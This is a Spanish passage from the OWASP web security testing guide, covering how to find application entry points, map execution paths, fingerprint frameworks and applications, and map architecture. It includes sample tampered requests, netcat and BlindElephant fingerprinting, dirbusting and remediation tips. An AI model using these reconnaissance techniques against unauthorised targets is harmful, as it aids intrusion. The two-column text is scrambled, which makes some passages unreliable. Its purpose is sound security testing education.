Identifique dnde se establecen nuevas cookies (encabezado Set-Cookie),
modifican o aaden.
POST https://x.x.x.x/KevinNotSoGoodApp/authenticate.asp?-
Identifique dnde hay redireccionamientos (estado de cdigo 3xx HTTP)
cdigos de estado 400, en especial 403 Prohibido (Forbiden) y 500 errores de service=login
servidor interno (internal server errors) durante las respuestas normales (es
Host: x.x.x.x
decir, sin modificar solicitudes).
Cookie:
Tambin note dnde se utiliza cualquier encabezado interesante. Por ejemplo,
SESSIONID=dGhpcyBpcyBhIGJhZCBhcHAgdGhhdCBzZXRzIH
"Server: BIG-IP" indica que el sitio tiene su carga equilibrada. Aunque si un
ByZWRpY3RhYmxlIGNvb2tpZXMgYW5kIG1pbmUgaXMgMTIz
sitio tiene su carga equilibrada y un servidor est configurado incorrectamente,
NA==
entonces el evaluador podra tener que hacer varias solicitudes para acceder al
servidor vulnerable, dependiendo del tipo de equilibrio de carga usado.
CustomCookie=00my00trusted00ip00is00x.x.x.x00
Cuerpo del mensaje POST:

Probando en busca de puntos de entrada a la aplicacin user=admin&pass=pass123&debug=true&fromtrustIP=true
Los siguientes son dos ejemplos de cmo buscar puntos de entrada a la

aplicacin.
Result Expected:
EJEMPLO 1
En este ejemplo el evaluador debe anotar todos los parmetros como lo hizo
Este ejemplo muestra una solicitud GET que debera adquirir un elemento de antes, pero observe que los parmetros se pasan en el cuerpo del mensaje y no en
una aplicacin de compras en lnea. la URL. Adems, tenga en cuenta que hay una cookie personalizada que est
siendo utilizada.
GET
https://x.x.x.x/shoppingApp/buyme.asp?CUSTOMERID=100&ITEM= Pruebas de Caja Gris
z101a&PRICE=62.50&IP=x.x.x.x
Probar en busca de puntos de entrada de la aplicacin a travs de una
Host: x.x.x.x metodologa de Caja Gris consistira en todo lo ya identificado anteriormente
con una adicin. En los casos donde hay fuentes externas de las que la aplicacin
Cookie: recibe datos y los procesa (tales como trampas SNMP, mensajes syslog,
SESSIONID=Z29vZCBqb2IgcGFkYXdhIG15IHVzZXJuYW1lIGlzIG
mensajes SMTP o SOAP de otros servidores) una reunin con los
ZvbyBhbmQgcGFzc3dvcmQgaXMgYmFy
desarrolladores de la aplicacin podra identificar las funciones que aceptan o
esperan el ingreso de datos del usuario y cmo estn formateados. Por ejemplo,
el desarrollador podra ayudar a entender cmo formular una peticin SOAP
correcta que aceptara la aplicacin y dnde reside el servicio web (si el servicio
web o cualquier otra funcin no ha sido identificada durante las pruebas de Caja
Negra).
Result Expected:
Aqu el evaluador debe anotar todos los parmetros de la peticin tales como
CUSTOMERID, ITEM, PRICE, IP y las cookies (que podran ser slo Herramientas
parmetros codificados o utilizadas para el estado de sesin).
Proxy de intercepcin:

57
OWASP: Zed Attack Proxy (ZAP) Hay varias maneras de acercarse a las pruebas y a la medicin de la cobertura del
cdigo:
OWASP: WebScarab
Burp Suite
Ruta - Pruebe cada uno de los caminos a travs de una aplicacin que incluye
CAT combinatoria y anlisis de valores lmite para cada ruta de decisin. Aunque este
enfoque ofrece rigor, la cantidad de rutas comprobables crece exponencialmente
con cada rama de decisin.
Accesorios de motores de bsqueda: Flujo de Datos (o anlisis de la mancha) - prueba la asignacin de variables a
travs de la interaccin externa (normalmente los usuarios). Se centra en crear
TamperIE for Internet Explorer mapas del flujo, transformacin y uso de datos a travs de una aplicacin.
Tamper Data for Firefox Carrera - prueba varias instancias simultneas de la aplicacin manipulando los
mismos datos.
Referencias
El acuerdo en cuanto a qu mtodo se utiliza y en qu medida se utiliza cada
Libros Blancos mtodo debe ser negociado con el dueo de la aplicacin. Enfoques ms simples
podran tambin adoptarse, incluyendo el preguntarle al dueo de la aplicacin
las funciones o secciones del cdigo por las que estn particularmente
preocupados y cmo llegar a esos segmentos de cdigo.
RFC 2616 Hypertext Transfer Protocol HTTP 1.1 -
tools.ietf.org
Para demostrar la cobertura del cdigo al dueo de la aplicacin, el evaluador

Cree mapas de las rutas de ejecucin a travs puede iniciar con una hoja de clculo y documentar todos los enlaces
descubiertos usando robots araa en la aplicacin (manual o automticamente).
de la aplicacin (OTG-INFO-007) Entonces el evaluador puede mirar ms de cerca los puntos de decisin en la
aplicacin e investigar cuntas rutas de cdigo importantes se descubren. Estas
Resumen deberan entonces documentarse en la hoja de clculo con URL, prosa y captura
de pantalla de las descripciones de las rutas descubiertas.
Antes de comenzar las pruebas de seguridad, es de suma importancia entender la
estructura de la aplicacin. Sin una comprensin profunda de la distribucin de
la aplicacin, es poco probable que sea probada exhaustivamente.
Pruebas de Caja Gris/Blanca
Asegurar suficiente cobertura de cdigo para el dueo de la aplicacin es mucho

Objetivos de la prueba ms fcil con el enfoque de Caja Gris y Blanca para las pruebas. La informacin
solicitada y proporcionada al evaluador asegurar que se cumplan los requisitos
Crear mapas de la aplicacin de destino y comprender los principales flujos de mnimos de cobertura de cdigo.
trabajo.
Ejemplo
Cmo probar
Spidering automtico
En las pruebas de Caja Negra es extremadamente difcil probar todo el cdigo
base. No slo porque el evaluador no tiene ninguna vista de las rutas de cdigo a Los robots araa automticos son una herramienta utilizada para descubrir
travs de la aplicacin, e incluso si lo hicieran, probar todas las rutas del cdigo automticamente nuevos recursos (URL) en un sitio web en
tomara mucho tiempo. Una manera de reconciliar esto es documentar qu rutas
del cdigo fueron descubiertas y probadas.

58
particular. Comienza con una lista de URL a visitar, llamadas semillas, que [1] en.wikipedia.org
dependen de cmo se inicia el robot araa. Si bien hay un montn de
herramientas de Spidering, en el ejemplo siguiente se utiliza el Zed Attack Proxy
(ZAP):
Framework referencial para el uso de huellas

digitales en aplicaciones web (OTG-INFO-
008)
Resumen
El framework web[*] marcar con huellas digitales es una subtarea importante

del proceso de recoleccin de informacin. Conocer el tipo de framework
puede automticamente dar una gran ventaja si este framework ya ha sido
probado mediante pruebas de penetracin. No son slo las vulnerabilidades
conocidas en versiones sin parches, sino configuraciones errneas especficas
en el framework y la estructura de archivo conocido que hace tan importante
el proceso de marcar con huellas digitales.
ZAP ofrece las siguientes carctersticas de spidering automtico, que pueden

Se utilizan varios proveedores diferentes y versiones de los frameworks web.
ser seleccionadas a partir de las necesidades del evaluador:
La informacin al respecto de estos ayuda significativamente en el proceso de
pruebas y tambin puede ayudar a cambiar el curso de la
Sitio de Robot Araa - la lista de semillas contiene todas las URL existentes ya
encontradas en el sitio seleccionado.
prueba. Dicha informacin puede ser derivada de un cuidadoso anlisis
Subrbol de Robot araa - la lista de semillas contiene todas las URL existentes
ya encontradas y presentes en el subrbol del nodo seleccionado.
de ciertos lugares comunes. La mayora de los frameworks web tienen varios
URL de robot Araa - la lista de semillas contiene slo la URL correspondiente
marcadores en esos lugares, lo que ayuda a un atacante a detectarlos. Esto es
al nodo seleccionado (en el rbol de sitio).
bsicamente lo que todas las herramientas automticas hacen: buscar un
marcador desde una ubicacin predefinida y luego compararlo con la base de
Vista completa de Robot Araa - la lista de semillas contiene todas las URL
datos de firmas conocidas. Para mayor precisin se utilizan, generalmente,
que el usuario ha seleccionado como 'A la vista'.
varios marcadores.
Herramientas
[*] Tenga en cuenta que este artculo no hace ninguna diferenciacin entre
Frameworks de aplicacin Web (WAF) y sistemas de gestin de contenidos
Zed Attack Proxy (ZAP)
(CMS). Esto se ha hecho para que sea conveniente marcar con huellas
digitales ambos casos en un solo captulo. Adems, se hace referencia a ambas
Spreadsheet software
categoras como frameworks web.
Diagramming software
Referencias
El tipo de framework web usado, asi como tener una mejor comprensin de la
metodologa de pruebas de seguridad.
Libros Blancos

59
sitio web pueda ofuscar los encabezados HTTP (ver un ejemplo en el captulo
#Remediacin).
Cmo probar

As, en el mismo ejemplo, el evaluador podra perder el encabezado X-
Hay varios lugares muy comunes para buscar definir el framework actual: Powered-By u obtener una respuesta similar a la siguiente:
Encabezados HTTP
Cookies
HTTP/1.1 200 OK
Cdigos fuente HTML
Server: nginx/1.0.14
Carpetas y documentos especficos
Date: Sat, 07 Sep 2013 08:19:15 GMT
Content-Type: text/html;charset=ISO-8859-1
Encabezados HTTP
Connection: close
La forma bsica de identificacin de un framework web es mirar el campo X-
Powered-By en el encabezado de respuesta HTTP. Muchas herramientas Vary: Accept-Encoding
pueden utilizarse para marcar una huella digital. La ms simple es la utilidad
netcat. X-Powered-By: Blood, sweat and tears
Considere la siguiente solicitud-respuesta HTTP:

A veces hay ms encabezados HTTP que apuntan a un cierto framework web.
En el ejemplo siguiente, segn la informacin de la solicitud HTTP, se puede
$ nc 127.0.0.1 80 ver que en X-Powered-By el encabezado contiene la versin de PHP. Sin
embargo, el encabezado X-Generator seala que el framework utilizado
HEAD / HTTP/1.0 realmente es Swiftlet, lo que ayuda a un evaluador de penetracin a ampliar
sus vectores de ataque. Al realizar el marcaje de huellas digitales, inspeccione
siempre con cuidado cada encabezado HTTP en busca de tales fugas.
HTTP/1.1 200 OK
Server: nginx/1.0.14
Date: Sat, 07 Sep 2013 08:19:15 GMT
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Vary: Accept-Encoding
Del campo X-Powered-By, entendemos que el framework de la aplicacin

web es muy posiblemente Mono. Sin embargo, aunque este enfoque es simple
y rpido, esta metodologa no funciona en el 100% de los casos. Es posible
deshabilitar fcilmente el encabezado X-Powered-By mediante una
configuracin adecuada. Tambin hay varias tcnicas que permiten que un

60
framework CakePHP seleccionado, esto se podra hacer con la siguiente

HTTP/1.1 200 OK configuracin (Extracto de core.php):
Server: nginx/1.4.1
Date: Sat, 07 Sep 2013 09:22:52 GMT

/**
Content-Type: text/html
* The name of CakePHPs session cookie.
Connection: keep-alive
*
* Note the guidelines for Session names states: The session name
references
X-Powered-By: PHP/5.4.16-1~dotdeb.1
* the session id in cookies and URLs. It should contain only
Expires: Thu, 19 Nov 1981 08:52:00 GMT alphanumeric
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, * characters.

pre-check=0
* @link http://php.net/session_name
Pragma: no-cache
*/
Cookies
Sin embargo, estos cambios son menos comunes que cambiar el encabezado
Otra manera similar pero ms confiable de determinar el framework web
X-Powered-By, por lo que este enfoque puede ser considerado como ms
actual es determinar el framework de cookies especficas.
confiable.
Considere la siguiente solicitud HTTP:
GET /cake HTTP /1.1 Cdigo fuente HTML
Host: defcon-moscow.org Esta tcnica se basa en la bsqueda de ciertos patrones en el cdigo fuente de
la pgina HTML. A menudo se puede encontrar una gran cantidad de
User-Agent: Mozilla75.0 |Macintosh; Intel Mac OS X 10.7; rv: informacin que ayuda a un evaluador a reconocer un framework especfico
22. 0) Gecko/20100101 Firefox/22 . 0 de la web. Uno de los marcadores comunes son comentarios HTML que
conducen directamente a la divulgacin del framework. Ms a menudo, ciertas
Accept: text/html, application/xhtml + xml, application/xml; q=0.9,
*/*; q=0 , 8 rutas especficas del framework pueden encontrarse, es decir, frameworks css
y/o carpetas js especficos. Finalmente, las variables de secuencia de
Accept - Language: ru-ru, ru; q=0.8, en-us; q=0.5 , en; q=0 . 3 comandos (script) especficas podran tambin apuntar a un cierto framework.
Accept - Encoding: gzip, deflate
DNT: 1 De la siguiente captura de pantalla uno puede aprender fcilmente el

framework y su versin de los marcadores mencionados. El comentario, rutas
Cookie: CAKEPHP=rm72kprivgmau5fmjdesbuqi71; especficas y variables del script pueden ayudar a un atacante a determinar
rpidamente una instancia del framework ZK.
Connection: Keep-alive
La cookie CAKEPHP ha sido establecida automticamente, lo que da

informacin sobre el framework que se utiliza. Una lista de nombres comunes
de cookies se presenta en el captulo #Cookies_2. Las limitaciones son las
mismas - es posible cambiar el nombre de la cookie. Por ejemplo, para el

61
Con mayor frecuencia, dicha informacin se coloca entre etiquetas Actualmente, es una de las mejores herramientas de huellas digitales en el
<head></head> en etiquetas <meta> o al final de la pgina. mercado. Incluidas por defecto en construcciones Kali Linux. Idioma: Ruby
Matches para toma de huellas digitales se hacen con:
Cadenas de texto (maysculas y minsculas)

Sin embargo, se recomienda revisar todo el documento ya que puede ser til
para otros propsitos tales como inspeccin de otros comentarios tiles y Expresiones regulares
campos ocultos. A veces, los desarrolladores web no se preocupan mucho por
ocultar informacin sobre el framework utilizado. Es posible toparse con algo Consultas de base de datos de Google Hack (conjunto limitado de palabras clave)
como esto en la parte inferior de la pgina:
MD5 hashes
reconocimiento de URL
etiquetas de patrones HTML
Cdigos ruby personalizados para operaciones pasivas y agresivas
Una respuesta de muestra se presenta en la siguiente captura de pantalla:
BlindElephant
Archivos y carpetas especficos
Los archivos y carpetas especficos son diferentes en cada framework Pgina Web: community.qualys.com
especfico. Se recomienda instalar el correspondiente framework durante las
pruebas de penetracin para tener mejor entendimiento de qu infraestructura Esta magnfica herramienta funciona mediante el principio de
se presenta y qu archivos pueden quedar en el servidor. Sin embargo, ya checksum (suma de comprobacin) de archivos estticos
existen varias listas de archivo buenas y un buen ejemplo es FuzzDB listas de
basados en la diferencia de la versin que proporciona as una
archivos y carpetas predecibles (code.google.com).
alta calidad de huellas digitales. Idioma:Python
Herramientas
Muestra de respuesta de una huella digital exitosa:
Una lista de herramientas generales y muy conocidas se presenta a
continuacin. Tambin hay un sinfn de otras utilidades, as como
herramientas de huellas digitales basadas en frameworks.
WhatWeb:
Sitio Web: morningstarsecurity.com

62
Wapplyzer es un accesorio de Firefox Chrome. Slo funciona en

pentester$ python BlindElephant.py http://my_target drupal coincidencias de expresiones regulares y no necesita otra cosa que
Loaded /Library/Python/2.7/site-
packages/blindelephant/dbs/drupal.pkl with 145 versions, 478
differentiating paths, and 434 version groups.
cargar la pgina en el navegador. Funciona totalmente a nivel de navegador y
Starting BlindElephant fingerprint for version of drupal at da resultados en forma de iconos. Aunque a veces tiene falsos positivos, esto
http://my_target es muy til para tener una nocin de qu tecnologas fueron utilizadas para
construir el sitio web de destino inmediatamente despus de navegar por una
pgina.
Hit http://my_target/CHANGELOG.txt
File produced no match. Error: Retrieved file doesnt match known

Una muestra de la respuesta de un accesorio se presenta en la siguiente
fingerprint. 527b085a3717bd691d47713dff74acf4
captura de pantalla.
Hit http://my_target/INSTALL.txt

fingerprint. 14dfc133e4101be6f0ef5c64566da4a4
Hit http://my_target/misc/drupal.js
Possible versions based on result: 7.12, 7.13, 7.14
Hit http://my_target/MAINTAINERS.txt

fingerprint. 36b740941a19912f3fdbfcca7caa08ca
Referencias
Hit http://my_target/themes/garland/style.css Libros Blancos
Possible versions based on result: 7.2, 7.3, 7.4, 7.5, 7.6, 7.7, 7.8, 7.9, Saumil Shah: An Introduction to HTTP fingerprinting -
7.10, 7.11, 7.12, 7.13, 7.14
net-square.com
...
Anant Shrivastava : Web Application Finger Printing -
Fingerprinting resulted in: anantshri.info
Remediacin
Wappalyzer El consejo general es usar varias de las herramientas descritas anteriormente y

verificar los registros para entender exactamente lo que ayuda a un atacante a
Pgina Web: http://wappalyzer.com revelar el framework de la web. Mediante la realizacin de mltiples anlisis
despus de que se han hecho cambios para ocultar las rutas del framework, es
posible alcanzar un mejor nivel de seguridad y asegurarse de que el
framework no puede ser detectado por anlisis automtico. A continuacin se
presentan algunas recomendaciones especficas, de acuerdo a la ubicacin del
marcador del framework y algunos enfoques adicionales interesantes.

63
Restrinja el acceso a otros archivos para lograr respuestas 404 al acceder a

ellos desde fuera. Esto puede hacerse, por ejemplo, modificando el archivo
Encabezados HTTP htaccess y agregando RewriteCond o RewriteRule all. A continuacin se
presenta un ejemplo de tal restriccin para dos carpetas comunes de
Compruebe la configuracin y desactive u ofusque todos los encabezados WordPress.
HTTP que divulgan informacin de las tecnologas utilizadas. Aqu hay un
artculo interesante sobre ofuscacin de encabezados HTTP con Netscaler:
http://grahamhosking.blogspot.ru/2013/07/obfuscating-http-header-using- RewriteCond %{REQUEST_URI} /wp-login\.php$ [OR]
netscaler.html
RewriteCond %{REQUEST_URI} /wp-admin/$
RewriteRule $ /http://your_website [R=404,L]

Cookies
Se recomienda reemplazar los nombres de las cookies al hacer cambios en los Sin embargo, estas no son las nicas maneras de restringir el acceso. Con el
archivos de configuracin correspondientes. fin de automatizar este proceso, existen ciertos accesorios (plugins)
especficos del framework. Un ejemplo para WordPress es StealthLogin:
wordpress.org.
Cdigo fuente HTML
Compruebe manualmente el contenido del cdigo HTML y elimine todo lo

que explcitamente dirige al framework. Enfoques adicionales
Guas generales:
Guas generales:
[1] gestin de checksum
Asegrese de que no hay marcadores visuales que revelen el framework. El propsito de este enfoque es vencer los escaneos basados en checksum (la
suma de comprobacin) y no permitirles revelar archivos por sus hashes. En
uite todos los comentarios innecesarios (derechos de autor, informacin de general, existen dos enfoques en la gestin de checksum:
errores, comentarios especficos del framework).
Retire etiquetas de generacin y META.

Cambiar la ubicacin donde se colocan los archivos (es decir, moverlos a
otra carpeta, o cambiar el nombre de la carpeta existente)..
Utilice los archivos css o js propios de la empresa y no los almacene Modificar el contenido - incluso una ligera modificacin resulta en una suma
de hash completamente diferente, as que aadir un solo byte en el final del
archivo no debe ser un gran problema.
en carpetas de frameworks especficos.
No utilice secuencias de comandos predeterminados en la pgina ni los [2] Caos controlado

ofusque si deben utilizarse.
Un mtodo divertido y eficaz que implica agregar archivos y carpetas falsos
desde otros frameworks para engaar a los escneres y confundir a un
atacante. Pero, tenga cuidado de no sobreescribir las carpetas y archivos
Archivos y carpetas especificas
existentes o romper el framework actual!
Guias generales:
Aplicacin de huellas digitales para web

Elimine del servidor todos los archivos innecesarios o sin uso. Esto implica
archivos de texto que revelen informacin sobre las versiones y la instalacin (OTG-INFO-009)
tambin.
64
Resumen
GET / HTTP/1.1
No hay nada nuevo bajo el sol, y casi cada aplicacin web que se puede
pensar en desarrollar ya ha sido desarrollada. Con la gran cantidad de User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0)
proyectos de software libre y de cdigo abierto que son desarrollados y Gecko/20100101 Firefox/31.0
desplegados activamente alrededor del mundo, es muy probable que una
prueba de seguridad enfrentar un sitio objetivo que es total o parcialmente Accept:
dependiente de una de estas aplicaciones muy conocidas (por ejemplo, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Wordpress, phpBB, Mediawiki, etc.). Conocer los componentes de las
Accept-Language: en-US,en;q=0.5
aplicaciones web que se estn probando ayuda significativamente en el
proceso de prueba y se reduce drsticamente
Cookie: wp-settings-time-1=1406093286; wp-settings-time-
2=1405988284
el esfuerzo requerido durante la prueba. Estas aplicaciones web conocidas
tienen encabezados HTML, cookies y estructuras de directorios que se pueden
DNT: 1
enumerar para identificar la aplicacin.
Host: blog.owasp.org
Identificar la aplicacin web y la versin para determinar vulnerabilidades

conocidas y la formas de explotarlas apropiadamente para usar durante la
prueba.
La cookie de CAKEPHP se ha establecido automticamente, lo que da

informacin sobre el framework que se utiliza. Una lista de nombres comunes
Cmo probar de las cookies se presenta en la seccin de Identificadores de Aplicacin
Comn. Sin embargo, es posible cambiar el nombre de la cookie.
Cookies
Una manera relativamente confiable de identificar una aplicacin web es

mediante la aplicacin de cookies especficas. Cdigo fuente HTML
Esta tcnica se basa en la bsqueda de ciertos patrones en el cdigo fuente de

la pgina HTML. A menudo se puede encontrar una gran cantidad de
Considere la siguiente solicitud HTTP: informacin que ayuda a un evaluador a reconocer una aplicacin web
especfica. Uno de los marcadores comunes son los comentarios HTML que
conducen directamente a la divulgacin de la aplicacin. Ms a menudo,
ciertas rutas especficas de la aplicacin pueden encontrarse; es decir,
enlaces a aplicaciones css y carpetas js especficas.
Finalmente, las variables de script especfico tambin pueden
apuntar a una aplicacin determinada.
De la metaetiqueta siguiente, uno puede aprender fcilmente la

aplicacin que utiliza un sitio web y su versin. El comentario,
rutas especficas y variables de script pueden ayudar a un
atacante para determinar rpidamente una instancia de una
aplicacin.
<meta name="generator" content="WordPress" 3.9.2="">

65
Con mayor frecuencia, dicha informacin se coloca entre etiquetas

<head></head>, en etiquras <meta> o al final de la pgina. Sin embargo, se
recomienda revisar todo el documento ya que puede ser til para otros
propsitos tales como inspeccin de otros comentarios
tiles y campos ocultos.
Archivos y carpetas especficos
Aparte de la informacin reunida de fuentes HTML, existe otro enfoque que

ayuda enormemente a un atacante a determinar la aplicacin con una alta
precisin. Cada aplicacin tiene su propia estructura especfica de archivos y
carpetas en el servidor. Se ha sealado que se puede ver la ruta de acceso
especfica desde la fuente de la pgina HTML, pero a veces no se presentan
explcitamente all y todava residen en el servidor.
Con el fin de descubrirlos se utiliza una tcnica conocida como dirbusting.

Dirbusting es forzar un objetivo con nombres de carpetas y archivos
predecibles y monitorear las respuestas HTTP para enumerar el contenido del
Consejo: antes de iniciar el dirbusting, se recomienda revisar primero el
servidor. Esta informacin puede utilizarse tanto para buscar archivos por
archivo robots.txt. A veces se pueden encontrar all tambin las carpetas
defecto y atacarlos, como para dejar huellas digitales en la aplicacin web.
especficas de la aplicacin y otra informacin sensible. Abajo se presenta un
Dirbusting se puede hacer de varias maneras; el ejemplo siguiente muestra un
ejemplo de un archivo robots.txt de este tipo en una captura de pantalla.
ataque exitoso mediante dirbusting contra un objetivo impulsado por
WordPress con la ayuda de la lista definida y la funcionalidad de intruso de
Burp Suite.
Las carpetas y archivos especficos son diferentes para cada aplicacin. Se
recomienda instalar la aplicacin correspondiente durante las pruebas de
penetracin para tener un mejor entendimiento de qu infraestructura se utiliza
y qu archivos pueden quedar en el servidor. Sin embargo, ya existen varias
listas buenas de archivos y un buen ejemplo es la lista de archivos FuzzDB de
documentos y carpetas predecibles (http://code.google.com/p/fuzzdb/).
Podemos ver que para algunas carpetas de WordPress-especficas (por Identificadores de aplicacin comn
ejemplo, WP-includes, /wp-admin / y wp-content/) las respuestas HTTP son
403 (prohibido), 302 (encontrado, redireccin a wp-login.php) y 200 (OK), Cookies
respectivamente. Este es un buen indicador de que el objetivo es alimentado
por WordPress. Es posible usar dirbust en diferentes carpetas de aplicaciones
plugin y sus versiones. En la imagen siguiente puede ver un archivo
CHANGELOG, tpico de un plugin Drupal, que proporciona informacin
sobre la aplicacin que est siendo usada y revela una versin del plugin
vulnerable.

66
Actualmente, una de las mejores herramientas de huellas digitales en el

mercado. Incluidas por defecto en construcciones Kali Linux. Idioma: Ruby
Matches para toma de huellas digitales se hacen con:
Cadenas de texto (maysculas y minsculas)
Expresiones regulares
Consultas de base de datos de Google Hack (conjunto limitado de palabras clave)
MD5 hashes
Reconocimiento de URL
Etiquetas de patrones HTML
Cdigos ruby personalizados para operaciones pasivas y agresivas
Una respuesta de muestra se presenta en la siguiente captura de pantalla:
Cdigo fuente HTML
BlindElephant
Pgina web: community.qualys.com
Esta magnfica herramienta funciona mediante el principio de checksum (suma

de comprobacin) de archivos estticos basados en la diferencia de la versin,
Ms informacin: www.owasp.org proporcionando as una alta calidad de huellas digitales. Idioma:Python
Herramientas Muestra de respuesta de una huella digital exitosa:
A continuacin se presenta una lista general de herramientas conocidas.

Tambin hay una gran cantidad de otras utilidades, as como herramientas de
huellas digitales basadas en frameworks.
WhatWeb:
Sitio web: morningstarsecurity.com

67
utilizadas para construir el sitio web de destino inmediatamente despus de

pentester$ python BlindElephant.py http://my_target drupal navegar por una pgina.
Loaded /Library/Python/2.7/site-packages/blindelephant/dbs/drupal.pkl
with 145 versions, 478 differentiating paths, and 434 version groups.
Starting BlindElephant fingerprint for version of drupal at

http://my_target
Una muestra de la respuesta del plugin se presenta en la siguiente captura de
pantalla:
Hit http://my_target/CHANGELOG.txt

fingerprint. 527b085a3717bd691d47713dff74acf4
Hit http://my_target/INSTALL.txt

fingerprint. 14dfc133e4101be6f0ef5c64566da4a4
Hit http://my_target/misc/drupal.js
Possible versions based on result: 7.12, 7.13, 7.14
Hit http://my_target/MAINTAINERS.txt Referencias
File produced no match. Error: Retrieved file doesnt match known Libros Blancos
fingerprint. 36b740941a19912f3fdbfcca7caa08ca
Saumil Shah: An Introduction to HTTP fingerprinting - net-square.com

Hit http://my_target/themes/garland/style.css
Possible versions based on result: 7.2, 7.3, 7.4, 7.5, 7.6, 7.7, 7.8, 7.9,
7.10, 7.11, 7.12, 7.13, 7.14
Anant Shrivastava : Web Application Finger Printing - anantshri.info
...
Remediacin
Fingerprinting resulted in:
El consejo general es usar varias de las herramientas descritas anteriormente y
verificar los registros para entender exactamente lo que ayuda a un atacante a
Wappalyzer
revelar el framework web. Mediante la realizacin de mltiples anlisis
Pgina web: http://wappalyzer.com despus de que se han hecho cambios para ocultar las rutas del framework, es
posible alcanzar un mejor nivel de seguridad y asegurarse de que el
Wapplyzer es un plugin de Firefox Chrome. Slo funciona en coincidencias framework no puede ser detectado por anlisis automticos. A continuacin se
de expresiones regulares y no necesita otra cosa que cargar la pgina en el presentan algunas recomendaciones especficas, de acuerdo a la ubicacin del
navegador. Funciona totalmente a nivel de marcador del framework y algunos enfoques adicionales interesantes.
navegador y da resultados en forma de iconos. Aunque a veces tiene falsos Encabezados HTTP
positivos, esto es muy til para tener una nocin de qu tecnologas fueron

68
Compruebe la configuracin y desactive u ofusque todos los encabezados Restrinja el acceso a otros archivos para lograr respuestas 404 al acceder a
HTTP que divulgan informacin de las tecnologas utilizadas. Aqu hay un ellos desde fuera. Esto puede hacerse, por ejemplo, modificando el archivo
artculo interesante sobre ofuscacin de encabezados HTTP con Netscaler: htaccess y agregando RewriteCond o RewriteRule all. A continuacin se
grahamhosking.blogspot.ru presenta un ejemplo de tal restriccin para dos carpetas comunes de
WordPress.
RewriteCond %{REQUEST_URI} /wp-login\.php$ [OR]

Cookies
RewriteCond %{REQUEST_URI} /wp-admin/$
Se recomienda cambiar los nombres de las cookies al hacer cambios en los
archivos de configuracin correspondientes.
RewriteRule $ /http://your_website [R=404,L]
Sin embargo, estas no son las nicas maneras de restringir el acceso. Con el
fin de automatizar este proceso, existen ciertos accesorios (plugins)
especficos del framework. Un ejemplo para WordPress es StealthLogin:
Cdigo fuente HTML
wordpress.org.
Compruebe manualmente el contenido del cdigo HTML y elimine todo lo
que explcitamente seala el framework.
Enfoques adicionales
Guas generales: Guas generales:
[1] gestin de checksum
Asegrese de que no hay marcadores visuales que revelen el framework. El propsito de este enfoque es vencer a los escaneos basados en checksum (la
suma de comprobacin) y no permitirles revelar archivos por sus hashes. En
uite todos los comentarios innecesarios (derechos de autor, informacin de general, existen dos enfoques en la gestin de checksum:
errores, comentarios especficos del framework).
Retire etiquetas de generacin y META.

Cambiar la ubicacin donde se colocan los archivos (es decir, moverlos a
Utilice los archivos css o js propios de la empresa y no los almacene otra carpeta, o cambiar el nombre de la carpeta existente)
Modificar el contenido - incluso una ligera modificacin resulta en una suma

de hash completamente diferente, as que aadir un solo byte en el final del
archivo no deben ser un gran problema.
en carpetas de frameworks especficos.
No utilice secuencias de comandos predeterminados en la pgina ni los [2] Caos controlado

ofusque si deben utilizarse.
Un mtodo divertido y eficaz que implica agregar archivos y carpetas falsos
a los escneres y confundir a un
desde otros frameworks para engaar
Archivos y carpetas especificas atacante. Pero tenga cuidado de no sobreescribir las carpetas
y archivos existentes o romper el framework actual!.
Guias generales:
Elimine del servidor todos los archivos innecesarios o sin uso. Esto implica Cree un mapa de la arquitectura de la
archivos de texto que revelen informacin sobre las versiones y la instalacin
tambin.
aplicacin (OTG-INFO-010)
Resumen

69
La complejidad de la infraestructura de servidores web interconectados y mediante otras pruebas y deriva los diferentes elementos, cuestiona esta suposicin y
heterogneos puede incluir cientos de aplicaciones web y hace de la gestin de amplia el mapa de arquitectura. El evaluador comenzar haciendo preguntas simples
configuracin y de la revisin un paso fundamental en la prueba e como: "existe un sistema firewalling que protege al servidor web?". Esta pregunta
implementacin de cada aplicacin. De hecho, se necesita slo una se responder a partir de los resultados del anlisis de red orientada hacia el servidor
vulnerabilidad para socavar la seguridad de toda la infraestructura, e incluso web y el anlisis de si los puertos de red del servidor web se estn filtrando en el
problemas pequeos y sin importancia aparente pueden convertirse en serios lmite de la red (no se recbe ninguna respuesta o se reciben mensajes de ICMP
riesgos para otra aplicacin en el mismo servidor. inalcanzables) o si el servidor est conectado directamente a Internet (es decir,
devuelve paquetes RST para todos los puertos de no audio). Este anlisis puede ser
mejorado para determinar el tipo de firewall utilizado, basado en pruebas de
paquetes de red. Es el firewall una aplicacin de estado completo o es un filtro de
Para abordar estos problemas, es de suma importancia llevar a cabo lista de acceso en un ruteador? Cmo est configurado? Puede evitarse?
una profunda revisin de la configuracin y problemas de seguridad Detectar a un proxy inverso delante de un servidor web debe hacerse por el anlisis
conocidos. Antes de realizar un examen a fondo es necesario crear un mapa de del banner del servidor web, que podra revelar directamente la existencia de un
la red y de la arquitectura de la aplicacin. Los diferentes elementos que proxy inverso (por ejemplo, si se devuelve 'WebSEAL'[1]). Tambin puede ser
conforman la infraestructura necesitan ser determinados para entender cmo determinado mediante la obtencin de las respuestas dadas por el servidor web a las
interactan con una aplicacin web y cmo ellos afectan a la seguridad. peticiones y comparndolas con las respuestas esperadas. Por ejemplo, algunos
proxys inversos actan como "sistemas de prevencin de intrusiones" (o escudos
web) bloqueando ataques conocidos dirigidos al servidor web. Si se sabe que el
servidor web responde con un mensaje 404 a una peticin que se dirige a una pgina
que no est disponible y devuelve un mensaje de error diferente para algunos ataques
web comunes como los realizados por escneres CGI, podra ser una indicacin de
Cmo probar que existe un proxy inverso (o un firewall de nivel de aplicacin) que est filtrando
las solicitudes y devuelve una pgina de error diferente a lo que se espera. Otro
Cree un mapa de la arquitectura de la aplicacin ejemplo: Si el servidor web devuelve un
Se debe crear el mapa de la arquitectura de la aplicacin mediante algunas conjunto de mtodos HTTP disponibles (incluyendo TRACE) pero los mtodos
pruebas para determinar qu componentes se usan para construir la aplicacin esperados devuelven errores, entonces es probable que haya un bloqueo entre ellos.
web. En instalaciones pequeas, una sencilla aplicacin basada en CGI podra
utilizar un solo servidor para que corra el servidor web que ejecuta la
aplicacin C, Perl o Shell CGIs y quizs tambin el mecanismo de
autenticacin. En algunos casos, incluso el sistema de proteccin se entrega a s mismo:
GET /web-console/ServerInfo.jsp%00 HTTP/1.0

